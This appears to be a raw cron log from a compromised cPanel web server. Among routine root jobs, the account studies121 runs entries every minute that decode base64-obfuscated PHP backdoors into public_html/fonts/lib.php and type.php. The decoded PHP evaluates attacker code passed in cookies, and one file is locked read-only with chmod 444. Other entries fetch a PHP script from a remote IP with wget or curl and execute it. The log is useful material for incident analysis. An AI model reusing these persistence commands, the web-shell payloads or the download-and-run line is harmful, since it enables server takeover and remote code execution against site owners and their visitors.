Sep  6 11:14:01 ip-184-168-122-23 CROND[2495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:15:01 ip-184-168-122-23 CROND[2906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:15:01 ip-184-168-122-23 CROND[2905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:15:01 ip-184-168-122-23 CROND[2907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:15:01 ip-184-168-122-23 CROND[2908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:15:01 ip-184-168-122-23 CROND[2909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:15:01 ip-184-168-122-23 CROND[2911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:16:01 ip-184-168-122-23 CROND[3303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:16:01 ip-184-168-122-23 CROND[3304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:16:01 ip-184-168-122-23 CROND[3306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:16:01 ip-184-168-122-23 CROND[3307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:16:01 ip-184-168-122-23 CROND[3308]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:16:01 ip-184-168-122-23 CROND[3305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:17:01 ip-184-168-122-23 CROND[3664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:17:01 ip-184-168-122-23 CROND[3666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:17:01 ip-184-168-122-23 CROND[3667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:17:01 ip-184-168-122-23 CROND[3668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:18:01 ip-184-168-122-23 CROND[4029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:18:01 ip-184-168-122-23 CROND[4031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:18:01 ip-184-168-122-23 CROND[4032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:18:01 ip-184-168-122-23 CROND[4034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:18:01 ip-184-168-122-23 CROND[4033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:19:01 ip-184-168-122-23 CROND[4507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:19:01 ip-184-168-122-23 CROND[4508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:19:01 ip-184-168-122-23 CROND[4512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:19:01 ip-184-168-122-23 CROND[4510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4877]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:20:01 ip-184-168-122-23 CROND[4883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:20:01 ip-184-168-122-23 CROND[4886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:20:01 ip-184-168-122-23 CROND[4887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:21:01 ip-184-168-122-23 CROND[5356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:21:01 ip-184-168-122-23 CROND[5358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:21:01 ip-184-168-122-23 CROND[5359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:21:01 ip-184-168-122-23 CROND[5360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:22:01 ip-184-168-122-23 CROND[5794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:22:01 ip-184-168-122-23 CROND[5796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:22:01 ip-184-168-122-23 CROND[5797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:22:01 ip-184-168-122-23 CROND[5798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:22:01 ip-184-168-122-23 CROND[5799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:23:01 ip-184-168-122-23 CROND[6212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:23:01 ip-184-168-122-23 CROND[6215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:23:01 ip-184-168-122-23 CROND[6214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:23:01 ip-184-168-122-23 CROND[6216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:24:01 ip-184-168-122-23 CROND[6746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:24:01 ip-184-168-122-23 CROND[6748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:24:01 ip-184-168-122-23 CROND[6751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:24:01 ip-184-168-122-23 CROND[6750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:24:01 ip-184-168-122-23 CROND[6749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:25:01 ip-184-168-122-23 CROND[7184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:25:01 ip-184-168-122-23 CROND[7185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:25:01 ip-184-168-122-23 CROND[7186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:25:01 ip-184-168-122-23 CROND[7188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:25:01 ip-184-168-122-23 CROND[7189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:25:01 ip-184-168-122-23 CROND[7190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:26:01 ip-184-168-122-23 CROND[7626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:26:01 ip-184-168-122-23 CROND[7627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:26:01 ip-184-168-122-23 CROND[7630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
